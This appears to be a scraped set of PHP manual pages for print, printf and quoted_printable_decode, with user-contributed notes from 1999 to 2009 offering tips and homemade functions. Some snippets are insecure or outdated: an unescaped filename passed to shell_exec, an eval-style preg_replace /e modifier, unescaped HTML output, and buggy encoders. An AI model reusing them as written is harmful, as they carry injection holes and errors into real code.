Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required.
In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited.

Most would expect the following behavior:
<?php
    if (print("foo") && print("bar")) {
        // "foo" and "bar" had been printed
    }
?>

But since the parenthesis around the argument are not required, they are interpretet as part of the argument.
This means that the argument of the first print is

    ("foo") && print("bar")

and the argument of the second print is just

    ("bar")

For the expected behavior of the first example, you need to write:
<?php
    if ((print "foo") && (print "bar")) {
        // "foo" and "bar" had been printed
    }
?>
danielxmorris @ gmail dotcom 16-May-2008 04:08
I wrote a println function that determines whether a \n or a <br /> should be appended to the line depending on whether it's being executed in a shell or a browser window.  People have probably thought of this before but I thought I'd post it anyway - it may help a couple of people.

<?php
function println ($string_message) {
    $_SERVER['SERVER_PROTOCOL'] ? print "$string_message<br />" : print "$string_message\n";
}
?>

Examples:

Running in a browser:

<?php println ("Hello, world!"); ?>
Output: Hello, world!<br />

Running in a shell:

<?php println ("Hello, world!"); ?>
Output: Hello, world!\n
jon 01-Jun-2007 07:19
the FAQTs article can be found archived at http://web.archive.org/web/20060601063513/http
://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

(url split to get past the line-length limitation)
mvpetrovich 29-Mar-2007 11:02
I grew quite tired of backslashes, and wrote these routines. It uses the back single quote as a substitute for double quotes within a statement.  It made my code much more readable.  It is a little easier than using a "here document."  I also found I make a few less typing errors.

<?php

function qq($text) {return str_replace('`','"',$text); }
function printq($text) { print qq($text); }
function printqn($text) { print qq($text)."\n"; }

//example - before

echo "<a href=\"#\" class=\"stdbutton\" style=\"float:left;\" onclick=\"myfunction(); return false;\">My Link</a>\n";

//becomes - with printqn function

printqn("<a href=`#` class=`stdbutton` style=`float:left;` onclick=`myfunction(); return false;`>My Link</a>");

?>
floppie at quadra-tec dot net 15-Nov-2006 09:09
At the top of your page, do something to this effect:
<?php
    $n = "\n";
    $t = "\t";
?>

Then, if you need your table cell four tabs in:

<?php echo($t . $t . $t . $t . '<td>whatever</td>' . $n); ?>

This means the parser only has to interpret four characters inside double quotes, then just stores them in variables.  With strings that small, concatenating six things together won't be slow at all.
vincent at bevort dot com 21-May-2006 12:36
Sometime there is no choice in using a single or double quote
ie when using special chars to format the output to make the HTML more readable you have to use the Double qoutes. Single quotes make PHP fotmat the '\n' as text
phpnet at i3x171um dot com 20-May-2006 07:41
I have written a script to benchmark the several methods of outputting data in PHP: via single quotes, double quotes, heredoc, and printf. The script constructs a paragraph of text with each method. It performs this construction 10,000 times, then records how long it took. In total, it prints 160,000 times and records 16 timings. Here are the raw results.

Outputted straight to browser--

Single quotes: 2,813 ms
...with concatenation: 1,179 ms
Double quotes: 5,180 ms
...with concatenation: 3,937 ms
heredoc: 7,300 ms
...with concatenation: 6,288 ms
printf: 9,527 ms
...with concatenation: 8,564 ms

Outputted to the output buffer--

Single quotes: 8 ms
...with concatenation: 38 ms
Double quotes: 8 ms
...with concatenation: 47 ms
heredoc: 17 ms
...with concatenation: 49 ms
printf: 54 ms
...with concatenation: 52 ms

A nice graph of the script's output can be found here:
http://i3x171um.com/output_benchmarks/ob.gif

So what should you choose to print your text? I found several things out writing this.

First, it should be noted that the print and echo keywords are interchangeable, performance-wise. The timings show that one is probably an alias for the other. So use whichever you feel most comfortable with.

Second, if you've ever wondered which was better, the definitive answer is single quotes. Single quotes are at least four times faster in any situation. Double quotes, while more convenient, do pose a debatably significant performance issue when outputting massive amounts of data.

Third, stay away from heredoc, and absolutely stay away from [s]printf. They're slow, and the alternatives are there.

The source of my script can be found here:
http://i3x171um.com/output_benchmarks/ob.txt

DO NOT RUN THE SCRIPT ON THE INTERNET! Run it instead from localhost. The script outputs ~45 megabytes of text in an html comment at the top of the page by default. Expect the benchmark to take ~45 seconds. If this is too long, you can change the amount of iterations to a lower number (the results scale accurately down to about 1,000 iterations).
g8z at yahoo dot com 13-Mar-2006 11:16
I wanted to print a file on a Windows 2003 server from PHP, and found the "print" function instead. Just in case some other users are trying to physically print to a printer, rather than print to the screen, here's a function to do it.

This function will print a single file of one of these types: pdf, doc, xls, rtf, or plain text. If you have the full .exe path, you can print other document types, too. The shell_exec function is not enabled in safe mode.

Courtesy of Darren's Script Archive: http://www.tufat.com

<?php

function print_file($filename)
{
    // path to your adobe executable
    $adobe_path='"C:/Program Files/Adobe/Acrobat 7.0/Reader/AcroRd32.exe"';

    $ext='';
    $ext=strrchr($filename,'.');
    $ext=substr($ext,1);
    $ext_xl=substr($ext,0,2);

    if ($ext=='pdf') {
        shell_exec ($adobe_path.' /t '.$filename);
    }
    else if ($ext=='doc'||$ext=='rtf'||$ext=='txt') {
        $word = new COM("Word.Application");
        $word->visible = true;
        $word->Documents->Open($filename);
        $word->ActiveDocument->PrintOut();
        $word->ActiveDocument->Close();
        $word->Quit();
    }
    else if ($ext_xl=='xl') {
        $excel = new COM("Excel.Application");
        $excel->visible = true;
        $excel->Workbooks->Open($filename);
        $excel->ActiveWorkBook->PrintOut();
        $excel->ActiveWorkBook->Close();
        $excel->Quit();
    }
}

// example of printing a PDF

print_file("C:/photo_gallery.pdf");

?>
jon at tap dot net 05-Dec-2005 01:48
I have a small utility run from the command line that processes a potentially huge list of files. As it can take hours to complete, I stuck a

print '.';

statement in the body of the main loop to prove that something was  happening.

For reasons unknown to me, the utiliity suddenly started buffering the output such that it printed nothing until completion, defeating the purpose of the running monitor. Adding flush() statements did nothing. The problem was solved by using

fputs(STDOUT, '.');

but I have no idea why.
james-web at and dot org 25-Jul-2005 03:47
Note that if you want to dump the value of a variable, you want to use print_r(), var_dump() or var_export().
ejallison at gmail dot com 16-Jul-2005 03:10
This is a simple function for printing debug comments that I didn't think of for a long time. Maybe it'll serve you good too.

<?php

function printd($str) {
  if ($debug) { echo $str; }
}

// ...

if ($valueCalculatedEarlierInTheScript == 3) {
  doSomethingWithNoOutput();
  printd("doSomethingWithNoOutput() has executed.");
}

?>

It's mostly just to make sure everything is running without having to go through everything and put in echo "Step #whatever has executed" whenever something mysterious isn't working.
gem at rellim dot com 05-Nov-2004 01:28
HERE Documents can reference arrays as long as you enclose
the vars in {}.

Like this:

<?php

$line = array( 'title' => "Hello", 'date' => 'Today');

echo <<<EOT
Title: {$line['title']}
Date: {$line['date']}
EOT;

?>

Run this and get
Title: Hello
Date: Today

More info here, scroll down to "heredoc syntax":
http://www.php.net/manual/en/language.types.string.php
rjl at xs4all dot nl 15-Jan-2004 04:08
To elaborate on above example adding an
array variable
$text = <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
User = {$_REQUEST['user']}
END;

'print $text;' Will output the string. Very handy for storing HTML.
Or adding {} around the array will allow you to use
above mentioned html blocks in conjuction with forms.

Rene =<>=
parse_str
printf
String Functions


Output a formatted string

print
quoted_printable_decode
String Functions
PHP Manual

printf

(PHP 4, PHP 5)

printf — Output a formatted string

Description

int printf ( string $format [, mixed $args [, mixed $... ]] )

Produces output according to format.

Parameters

format

See sprintf() for a description of format.

args

...

Return Values

Returns the length of the outputted string.

See Also

  • print() - Output a string
  • sprintf() - Return a formatted string
  • vprintf() - Output a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • flush() - Flush the output buffer

User Contributed Notes

kalai_msc29 at rediffmail dot com 29-Mar-2007 11:04
//If you want to make many Hidden fields you can use the function
//You can pass the values as array value,This will help you, when you are going to post many hiddend fields:-
function MakeHidden($ArrValues)
    {
       global $dearvar;
       echo $dearvar;
       if(is_array($ArrValues)){
             foreach($ArrValues as $key=>$values)
              {
                 echo $MakeHTML = "<input type='hidden' name='$values' value='$values'>";
               }
      }

      else {
            echo $MakeHTML = "<input type='hidden' name='$ArrValues' value='$ArrValues'>";
         }
   return $MakeHTML;
}

//example:-

MakeHidden(array("value1","value2","value3"));

//OutPut :-

<input type="hidden" value="value1" name="value1"/>
<input type="hidden" value="value2" name="value2"/>
<input type="hidden" value="value3" name="value3"/>
php at iain dot nl 14-Mar-2006 07:24
for arrays, there is vprintf();

alternatively, if you have it all in one array (including the format), this will do the trick:

<?php

$goodevil = array ('There is a difference between %s and %s', 'good', 'evil');
echo vprintf(array_shift($goodevil),$goodevil);

?>

and without mangling your array, you might use call_user_func_array:

<?php

$goodevil = array ('There is a difference between %s and %s', 'good', 'evil');
echo call_user_func_array('sprintf',$goodevil);

?>
php at mole dot gnubb dot net 10-Apr-2005 06:15
[Editor's Note: Or just use vprintf...]

If you want to do something like <?php printf('There is a difference between %s and %s', array('good', 'evil')); ?> (this doesn't work)  instead of <?php printf('There is a difference between %s and %s', 'good', 'evil'); ?> you can use this function:

<?php
function printf_array($format, $arr)
{
    return call_user_func_array('printf', array_merge((array)$format, $arr));
}
?>

Use it the following way:
<?php
$goodevil = array('good', 'evil');
printf_array('There is a difference between %s and %s', $goodevil);
?>
and it will print:
There is a difference between good and evil
codeslinger at compsalot dot com 30-Jan-2005 08:24
Several people have commented about problems with aligning numbers.  I just wanted to add a bit of clarification.

According to the spec all True Type Fonts (especially porpotional spaced fonts) use a fixed width for numeric digits.  All digits have the same width which is equal to the width of "0".

Where things go haywire when trying to align numbers is that the space character does not have the same width as a digit when using a porportional spaced font.

Therefore if you want to line up a column of numbers, you can not use leading spaces to position them unless you use the same quantity of space characters for each row. e.g. your numbers have leading zeros etc.

The simplest solution is to switch to a monospaced font.  Alternativly you can use positioning tags.

Summary: Your numbers will always line up properly regardless of the font used, if you get the starting position to be consistant.
lordfarquaad at notredomaine dot net 03-Mar-2004 06:48
In response to chris dot breen at accurate dot com :

This will work, but i didn't try:
<?php
$format = 'The %2$s contains %1$d monkeys.
         That is a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>

Your problem came from the fact that in the string "\$s", the $ is simply escaped by the \, but but you must not do that with single quoted strings. Try to echo your strings to test it, or just go to http://www.php.net/manual/en/language.types.string.php
php at soulcoffee dot com 24-May-2003 01:37
If you are experiencing weird difficulties with floating point numbers, namely ones that appear to be overflow errors, then it could be a compilation error. Try the following at a prompt:

python -c 'int(10.1); int(10000.3); int(1.2)'

If that overflows, then you'll need to do the following:

1) Fix your CFLAGS (probably change -march=pentium4 to -march=pentium3)
2) Recompile glibc
3) Recompile mod_php
4) Restart Apache
5) Check your script, it should be fine now

NOTE: This is _not_ a bug in PHP. It just appears that way because there is a problem in the underlying libraries.
brian at exclamationlabs dot com 02-Jan-2003 12:34
If you are printing data in a <pre>, courier font, or otherwise non-variable length font (like a terminal), you might have use for printf's justify feature.
<?php
$heading1 = "Label 1";
$heading2 = "Label 2";

$value1 = "31298";
$value2 = "98";

print "<pre>\n";
printf ("%'.-15.15s%'.6.6s\n", $heading1, $value1);
printf ("%'.-15.15s%'.6.6s\n", $heading2, $value2);
print "</pre>\n";
?>

Very handy for simple formatting..
eugenew at starhub dot net dot sg 20-Dec-2002 09:13
If anyone is looking for writing a quine using printf(),
this is my example:

<?php $f='<?php $f=%c%s%c; printf($f,39,$f,39); ?>'; printf($f,39,$f,39); ?>

This also helps those who are new to printf() see one way of using the 'mixed args' part, rather than just a single argument as in most examples I've seen.
dalu at uni SPAMHAM dot de 10-Dec-2002 10:43
copypasted from msdn

A format specification, which consists of optional and required fields, has the following form:

%[flags] [width] [.precision] [{h | l | I64 | L}]type

Each field of the format specification is a single character or a number signifying a particular format option. The simplest format specification contains only the percent sign and a type character (for example, %s). If a percent sign is followed by a character that has no meaning as a format field, the character is copied to stdout. For example, to print a percent-sign character, use %%.

The optional fields, which appear before the type character, control other aspects of the formatting, as follows:

type
Required character that determines whether the associated argument is interpreted as a character, a string, or a number (see the printf Type Field Characters table.
flags
Optional character or characters that control justification of output and printing of signs, blanks, decimal points, and octal and hexadecimal prefixes (see the Flag Characters table). More than one flag can appear in a format specification.
width
Optional number that specifies the minimum number of characters output (see printf Width Specification).
precision
Optional number that specifies the maximum number of characters printed for all or part of the output field, or the minimum number of digits printed for integer values (see the How Precision Values Affect Type table).
h | l | I64 | L
Optional prefixes to type-that specify the size of argument (see the Size Prefixes for printf and wprintf Format-Type Specifiers table).
sam[NOSPAM] at [NOSPAM]kingdomfaith dot com 28-Jun-2002 12:45
I don't know if this is useful to anyone, but here goes! Example for using the printf function to output an object.

class person
{
    var $name = "";
    function name($newname = NULL)
    {
        if(! is_null($newname))
        {
            $this->name=$newname;
        }
        return $this->name;
    }
    var $surname = "";
    function surname($newsurname = NULL)
    {
        if(! is_null($newsurname))
        {
            $this->surname=$newsurname;
        }
        return $this->surname;
    }
    var $age = "";
    function age($newage = NULL)
    {
        if(! is_null($newage))
        {
            $this->age=$newage;
        }
        return $this->age;
    }
}

$bob = new person;
$bob->name('Bob');
$bob->surname('Builder');
$bob->age('50');

printf("Hi %s, your surname is %s and you are %s years old", $bob->name, $bob->surname, $bob->age);

Outputs:

Hi Bob, your surname is Builder and you are 50 years old
maybird99 at yahoo dot com 26-Feb-2002 07:20
instead of writing a function to round off a float (let's call it 'x') accurately, it's much easier to add a small number to x and then truncate it...
For example: if you want to round off to the nearest integer, just add 0.5 to x and then truncate it. if x=12.6, then it would calculate 13.1, and truncate it to 13. If x=14.4, it would calculate 14.9 and truncate it to 14.
ezislis at mail dot ru 09-Feb-2002 07:25
be careful with integers, they cant hold large values.

printf("%d",10023123553.45634663);
will print out: 1433188961
and
printf("%.0f",10023123553.45634663);
will print out: 10023123553
deekayen at hotmail dot com 11-Oct-2001 05:54
You can use this function to format the decimal places in a number:

$num = 2.12;
printf("%.1f",$num);

prints:

2.1

see also: number_format()
shepard at ameth dot org 17-Sep-2001 07:37
Be sure that the output channel is available to write on before executing printf()!  Some functions in classes available from various sources (in my case, DB_Sql::query() in PHPLIB) assume that printing will work, even after the default output stream has been closed.

For me the issue was most notable in PHP4 session management when I was creating my own sess_write() handler.  Since I was unable to find any function that checks for the output stream that printf() uses, I just had to drop the crazy use of the printf(). (does some function already exist to check for the presence of an output stream?)
arunass at anm dot org 21-Aug-2000 07:38
There are times when you don't want a number like .0002 to be truncated to .00 - where you'd like to actually have at least some number of significant digits, not just the decimal places.
Here's a sample of how you might do that, although scientific notation might be better.  Why doesn't PHP support some of the other C style floating point formats?

<?php
//  string FloatFormat(float $Value, int $Precision)
//  - AGS 21/08/2000
//
//There is no range checking performed here so the
//  function will vaporize on out of range values.

function FloatFormat($Value, $Precision)
{
    $decimals = log10(abs($Value));

    $decimals = - (intval(min($decimals, 0)) - $Precision);

    $format = "%." . $decimals . "f";
    return sprintf($format, $Value);
}
?>
jeremiah at alcyon dot net 06-Jul-2000 10:15
Someone mentioned that the dropping of digits is pernicious; here's a small function you can throw in an include file or something to ensure some accurate precision.

<?php
//---------------------
// float precision (float, integer)
//
//                  - jlph 6.30.2000
//
// A function to limit the # of decimal places
// displayed in a float. Takes a float and an integer.
// The float will be taken to the decimal place
// specified by the integer and rounded up accordingly.
// Returns a float with the corners smoothed off.
//---------------------

function precision ($value, $place){
        $value = $value * pow(10, $place + 1);
        $value = floor($value);
        $value = (float) $value/10;
        (float) $modSquad = ($value - floor($value));
        $value = floor($value);
        if ($modSquad > .5){
                $value++;
        }
        return $value / (pow(10, $place));
}
?>
jarred at coltonsolutions dot com 23-Feb-2000 05:03
As far as I know, you should be able to simply include &nbsp; in the format string, so something like this:

printf("Value of I: &nbsp;&nbsp;%d\n", $i);

printf is the C/C++ style of doing formatted output, and as such the only special characters in the format string are '\' and '%', and characters immediately following these special cases may be affected.  (So "%c" mean a character, while "%%c" means print a percent sign followed by the letter c.)
dhosek at excite dot com 05-Dec-1999 02:27
Be careful:
printf ("(9.95 * 100) = %d \n", (9.95 * 100));

'994'

First %d converts a float to an int by truncation.

Second floats are notorious for tiny little rounding errors.
print
quoted_printable_decode
String Functions


Convert a quoted-printable string to an 8 bit string

printf
quoted_printable_encode
String Functions
PHP Manual

quoted_printable_decode

(PHP 4, PHP 5)

quoted_printable_decode — Convert a quoted-printable string to an 8 bit string

Description

string quoted_printable_decode ( string $str )

This function returns an 8-bit binary string corresponding to the decoded quoted printable string (according to » RFC2045, section 6.7, not » RFC2821, section 4.5.2, so additional periods are not stripped from the beginning of line).

This function is similar to imap_qprint(), except this one does not require the IMAP module to work.

Parameters

str

The input string.

Return Values

Returns the 8-bit binary string.

See Also

  • quoted_printable_encode() - Convert a 8 bit string to a quoted-printable string

User Contributed Notes

feedr 06-Mar-2009 02:39
Another (improved) version of quoted_printable_encode(). Please note the order of the array elements in str_replace().
I've just rewritten the previous function for better readability.

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
        $string = str_replace(array('%20', '%0D%0A', '%'), array(' ', "\r\n", '='), rawurlencode($string));
        $string = preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", $string);

        return $string;
  }
}
?>
andre at luyer dot nl 02-Nov-2008 12:36
A small update for Andrew's code below. This one leaves the original CRLF pairs intact (and allowing the preg_replace to work as intended):

<?php
if (!function_exists("quoted_printable_encode")) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7. Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces and CRLF pairs aren't encoded though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n",
      str_replace("%", "=", str_replace("%0D%0A", "\r\n",
        str_replace("%20"," ",rawurlencode($string)))));
  }
}
?>

Regards, AndrÃ©
Karora 19-Oct-2008 08:27
Taking a bunch of the earlier comments together, you can synthesize a nice short and reasonably efficient quoted_printable_encode function like this:

Note that I put this in my standard library file, so I wrap it in a !function_exists in order that if there is a pre-existing PHP one it will just work and this will evaluate to a noop.

<?php
if ( !function_exists("quoted_printable_encode") ) {
  /**
  * Process a string to fit the requirements of RFC2045 section 6.7.  Note that
  * this works, but replaces more characters than the minimum set. For readability
  * the spaces aren't encoded as =20 though.
  */
  function quoted_printable_encode($string) {
    return preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", str_replace("%","=",str_replace("%20"," ",rawurlencode($string))));
  }
}
?>

Regards,
Andrew McMillan.
zg 27-Sep-2008 06:48
<?php

function quoted_printable_encode( $str, $chunkLen = 72 )
{
    $offset = 0;

    $str = strtr(rawurlencode($str), array('%' => '='));
    $len = strlen($str);
    $enc = '';

    while ( $offset < $len )
    {
        if ( $str{ $offset + $chunkLen - 1 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 1);
            $offset += $chunkLen - 1;
        }
        elseif ( $str{ $offset + $chunkLen - 2 } === '=' )
        {
            $line = substr($str, $offset, $chunkLen - 2);
            $offset += $chunkLen - 2;
        }
        else
        {
            $line = substr($str, $offset, $chunkLen);
            $offset += $chunkLen;
        }

        if ( $offset + $chunkLen < $len )
            $enc .= $line ."=\n";
        else
            $enc .= $line;
    }

    return $enc;
}

?>
Christian Albrecht 24-Sep-2008 03:10
In Addition to david lionhead's function:

<?php
function quoted_printable_encode($txt) {
    /* Make sure there are no %20 or similar */
    $txt = rawurldecode($txt);
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9')) {
            $line.=$txt[$i];
            if (strlen($line)>=75) {
                $tmp.="$line=\n";
                $line="";
            }
        }
        else {
            /* Important to differentiate this case from the above */
            if (strlen($line)>=72) {
            $tmp.="$line=\n";
            $line="";
            }
            $line.="=".sprintf("%02X",ord($txt[$i]));
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
?>
lewiswright [ at t] gmail [d dot t] com 24-Sep-2008 11:16
In response to Bobo, using:

chunk_split($string, 76, "=\n");

Can result to broken encoding (in some rare cases). This is for a couple of reasons. Firstly, the chunk split could insert a newline between an encoding if it was on the end of a line. So it could turn an entity: =20 in to =2=\n0 - which breaks it. Secondly, the spec says that the line should be no longer than 76 in total, which includes the '=' used to indicate a soft newline.

Additionally, there's a couple of minor readability issues with it. Firstly, chunk_split leaves a trailing newline - which is unnecessary. Lastly, it does not consider newlines already in the text (which breaks readability) so it often wraps when not needed.

Here's a snippet which will fix all the issues mentioned:

preg_replace('/[^\r\n]{73}[^=\r\n]{2}/', "$0=\r\n", $data);
david at lionhead dot nl 18-Aug-2008 05:54
My version of quoted_printable encode, as the convert.quoted-printable-encode filter breaks on outlook express. This one seems to work on express/outlook/thunderbird/gmail.

function quoted_printable_encode($txt) {
    $tmp="";
    $line="";
    for ($i=0;$i<strlen($txt);$i++) {
        if (($txt[$i]>='a' && $txt[$i]<='z') || ($txt[$i]>='A' && $txt[$i]<='Z') || ($txt[$i]>='0' && $txt[$i]<='9'))
            $line.=$txt[$i];
        else
            $line.="=".sprintf("%02X",ord($txt[$i]));
        if (strlen($line)>=75) {
            $tmp.="$line=\n";
            $line="";
        }
    }
    $tmp.="$line\n";
    return $tmp;
}
Bobo 12-Jul-2008 09:20
Following up to Hoffa's function, return the result like:

chunk_split($string, 76, "=\n");

to conform to the RFC, which requires that lines are no longer than 76 chars.
h atnospam hoffa dotelidot se 31-Mar-2008 05:32
I do like this to encode

function quoted_printable_encode($string) {
  $string = rawurlencode($string);
  $string = str_replace("%","=",$string);
  RETURN $string;
}

best regards / Hoffa
vita dot plachy at seznam dot cz 23-Mar-2008 08:22
<?php
$text = <<<EOF
This function enables you to convert text to a quoted-printable string as well as to create encoded-words used in email headers (see http://www.faqs.org/rfcs/rfc2047.html).

No line of returned text will be longer than specified. Encoded-words will not contain a newline character. Special characters are removed.
EOF;

define('QP_LINE_LENGTH', 75);
define('QP_LINE_SEPARATOR', "\r\n");

function quoted_printable_encode($string, $encodedWord = false)
{
    if(!preg_match('//u', $string)) {
        throw new Exception('Input string is not valid UTF-8');
    }

    static $wordStart = '=?UTF-8?Q?';
    static $wordEnd = '?=';
    static $endl = QP_LINE_SEPARATOR;

    $lineLength = $encodedWord
        ? QP_LINE_LENGTH - strlen($wordStart) - strlen($wordEnd)
        : QP_LINE_LENGTH;

    $string = $encodedWord
        ? preg_replace('~[\r\n]+~', ' ', $string)    // we need encoded word to be single line
        : preg_replace('~\r\n?~', "\n", $string);    // normalize line endings
    $string = preg_replace('~[\x00-\x08\x0B-\x1F]+~', '', $string);    // remove control characters

    $output = $encodedWord ? $wordStart : '';
    $charsLeft = $lineLength;

    $chr = isset($string{0}) ? $string{0} : null;
    $ord = ord($chr);

    for ($i = 0; isset($chr); $i++) {
        $nextChr = isset($string{$i + 1}) ? $string{$i + 1} : null;
        $nextOrd = ord($nextChr);

        if (
            $ord > 127 or    // high byte value
            $ord === 95 or    // underscore "_"
            $ord === 63 && $encodedWord or    // "?" in encoded word
            $ord === 61 or    // equal sign "="
            // space or tab in encoded word or at line end
            $ord === 32 || $ord === 9 and $encodedWord || !isset($nextOrd) || $nextOrd === 10
        ) {
            $chr = sprintf('=%02X', $ord);
        }

        if ($ord === 10) {    // line feed
            $output .= $endl;
            $charsLeft = $lineLength;
        } elseif (
            strlen($chr) < $charsLeft or
            strlen($chr) === $charsLeft and $nextOrd === 10 || $encodedWord
        ) {    // add character
            $output .= $chr;
            $charsLeft-=strlen($chr);
        } elseif (isset($nextOrd)) {    // another line needed
            $output .= $encodedWord
                ? $wordEnd . $endl . "\t" . $wordStart . $chr
                : '=' . $endl . $chr;
            $charsLeft = $lineLength - strlen($chr);
        }

        $chr = $nextChr;
        $ord = $nextOrd;
    }

    return $output . ($encodedWord ? $wordEnd : '');
}

echo quoted_printable_encode($text/*, true*/);
ludwig at gramberg-webdesign dot de 24-Sep-2007 12:13
my approach for quoted printable encode using the stream converting abilities

<?php
/**
 * @param string $str
 * @return string
 * */
function quoted_printable_encode($str) {
    $fp = fopen('php://temp', 'w+');
    stream_filter_append($fp, 'convert.quoted-printable-encode');
    fwrite($fp, $str);
    fseek($fp, 0);
    $result = '';
    while(!feof($fp))
        $result .= fread($fp, 1024);
    fclose($fp);
    return $result;
}
?>
roelof 24-Jul-2007 07:06
I modified the below version of legolas558 at users dot sausafe dot net and added a wrapping option.

<?php
/**
 *    Codeer een String naar zogenaamde 'quoted printable'. Dit type van coderen wordt
 *    gebruikt om de content van 8 bit e-mail berichten als 7 bits te versturen.
 *
 *    @access public
 *    @param string    $str    De String die we coderen
 *    @param bool      $wrap   Voeg linebreaks toe na 74 tekens?
 *    @return string
 */

function quoted_printable_encode($str, $wrap=true)
{
    $return = '';
    $iL = strlen($str);
    for($i=0; $i<$iL; $i++)
    {
        $char = $str[$i];
        if(ctype_print($char) && !ctype_punct($char)) $return .= $char;
        else $return .= sprintf('=%02X', ord($char));
    }
    return ($wrap === true)
        ? wordwrap($return, 74, " =\n")
        : $return;
}

?>
legolas558 at users dot sausafe dot net 21-Feb-2007 11:09
As soletan at toxa dot de reported, that function is very bad and does not provide valid enquoted printable strings. While using it I saw spam agents marking the emails as QP_EXCESS and sometimes the email client did not recognize the header at all; I really lost time :(. This is the new version (we use it in the Drake CMS core) that works seamlessly:

<?php

//L: note $encoding that is uppercase
//L: also your PHP installation must have ctype_alpha, otherwise write it yourself
function quoted_printable_encode($string, $encoding='UTF-8') {
// use this function with headers, not with the email body as it misses word wrapping
       $len = strlen($string);
       $result = '';
       $enc = false;
       for($i=0;$i<$len;++$i) {
        $c = $string[$i];
        if (ctype_alpha($c))
            $result.=$c;
        else if ($c==' ') {
            $result.='_';
            $enc = true;
        } else {
            $result.=sprintf("=%02X", ord($c));
            $enc = true;
        }
       }
       //L: so spam agents won't mark your email with QP_EXCESS
       if (!$enc) return $string;
       return '=?'.$encoding.'?q?'.$result.'?=';
}

I hope it helps ;)

?>
soletan at toxa dot de 20-Feb-2007 03:54
Be warned! The method below for encoding text does not work as requested by RFC1521!

Consider a line consisting of 75 'A' and a single Ã© (or similar non-ASCII character) ... the method below would encode and return a line of 78 octets, breaking with RFC 1521, 5.1 Rule #5: "The Quoted-Printable encoding REQUIRES that encoded lines be no more than 76 characters long."

Good QP-encoding takes a bit more than this.
legolas558 12-Feb-2007 10:32
Please note that in the below encode function there is a bug!

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<0x20))
?>

$c should be checked against less or equal to encode spaces!

so the correct code is

<?php
if (($c==0x3d) || ($c>=0x80) || ($c<=0x20))
?>

Fix the code or post this note, please
MagicalTux at ookoo dot org 06-Feb-2007 03:44
I checked Thomas Pequet / Memotoo.com's quoted_printable_encode() function, and it's rather non-respective to standards...

Here's my own, fixed version :

<?php
function quoted_printable_encode($string, $linelen = 0, $linebreak="=\r\n", $breaklen = 0, $encodecrlf = false) {
        // Quoted printable encoding is rather simple.
        // Each character in the string $string should be encoded if:
        //  Character code is <0x20 (space)
        //  Character is = (as it has a special meaning: 0x3d)
        //  Character is over ASCII range (>=0x80)
        $len = strlen($string);
        $result = '';
        for($i=0;$i<$len;$i++) {
                if ($linelen >= 76) { // break lines over 76 characters, and put special QP linebreak
                        $linelen = $breaklen;
                        $result.= $linebreak;
                }
                $c = ord($string[$i]);
                if (($c==0x3d) || ($c>=0x80) || ($c<0x20)) { // in this case, we encode...
                        if ((($c==0x0A) || ($c==0x0D)) && (!$encodecrlf)) { // but not for linebreaks
                                $result.=chr($c);
                                $linelen = 0;
                                continue;
                        }
                        $result.='='.str_pad(strtoupper(dechex($c)), 2, '0');
                        $linelen += 3;
                        continue;
                }
                $result.=chr($c); // normal characters aren't encoded
                $linelen++;
        }
        return $result;
}

$test = 'This is a test !! hÃ©hÃ©hÃ© ....'."\r\n";
$test.= 'You can write really long pieces of text without having to worry about mail transfert. Quoted printable supports special way to handle such lines,  by instering an escaped linebreak. This linebreak, once converted back to 8bit, will disappear.';

echo quoted_printable_encode(utf8_encode($test))."\r\n";
?>

By default, the function encodes text to be used as a quoted-printable-encoded body, however by tweaking the parameters, you can get subject-header encoding and stuff like that.
Thomas Pequet / Memotoo.com 19-Oct-2006 06:15
If you want a function to do the reverse of "quoted_printable_decode()", follow the link you will find the "quoted_printable_encode()" function:
http://www.memotoo.com/softs/public/PHP/quoted printable_encode.inc.php

Compatible "ENCODING=QUOTED-PRINTABLE"
Example:
quoted_printable_encode(ut8_encode("c'est quand l'Ã©tÃ© ?"))
-> "c'est quand l'=C3=A9t=C3=A9 ?"
umu 06-Feb-2006 02:38
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

and write [^=]{0,2} in the last regular expression
to avoid the soft linebreak "=" being the 77th char in line,
see my imap_8bit() emulation at
http://www.php.net/manual/en/function.imap-8bit.php#61216
steffen dot weber at computerbase dot de 22-Jul-2005 02:08
As the two digit hexadecimal representation SHOULD be in uppercase you want to use "=%02X" (uppercase X) instead of "=%02x" as the first argument to sprintf().
bendi at interia dot pl 29-Mar-2005 01:08
This function appeared twice already and in both versions it's got error in rule replacing chunk_split, because it misses the last line in encoded text if it's shorter than 73 characters.

My solution (got rid of replace_callback)
<?
function quoted_printable_encode( $sString ) {
   /*instead of replace_callback i used <b>e</b> modifier for regex rule, which works as eval php function*/
   $sString = preg_replace( '/[^\x21-\x3C\x3E-\x7E\x09\x20]/e', 'sprintf( "=%02x", ord ( "$0" ) ) ;',  $sString );
   /*now added to this rule one or more chars which lets last line to be matched and included in results*/
   preg_match_all( '/.{1,73}([^=]{0,3})?/', $sString, $aMatch );
   return implode( '=' . CR, $aMatch[0] );
}

?>
dmitry at koterov dot ru 19-Feb-2005 05:26
Previous comment has a bug: encoding of short test does not work because of incorrect usage of preg_match_all(). Have somebody read it at all? :-)

Correct version (seems), with additional imap_8bit() function emulation:

if (!function_exists('imap_8bit')) {
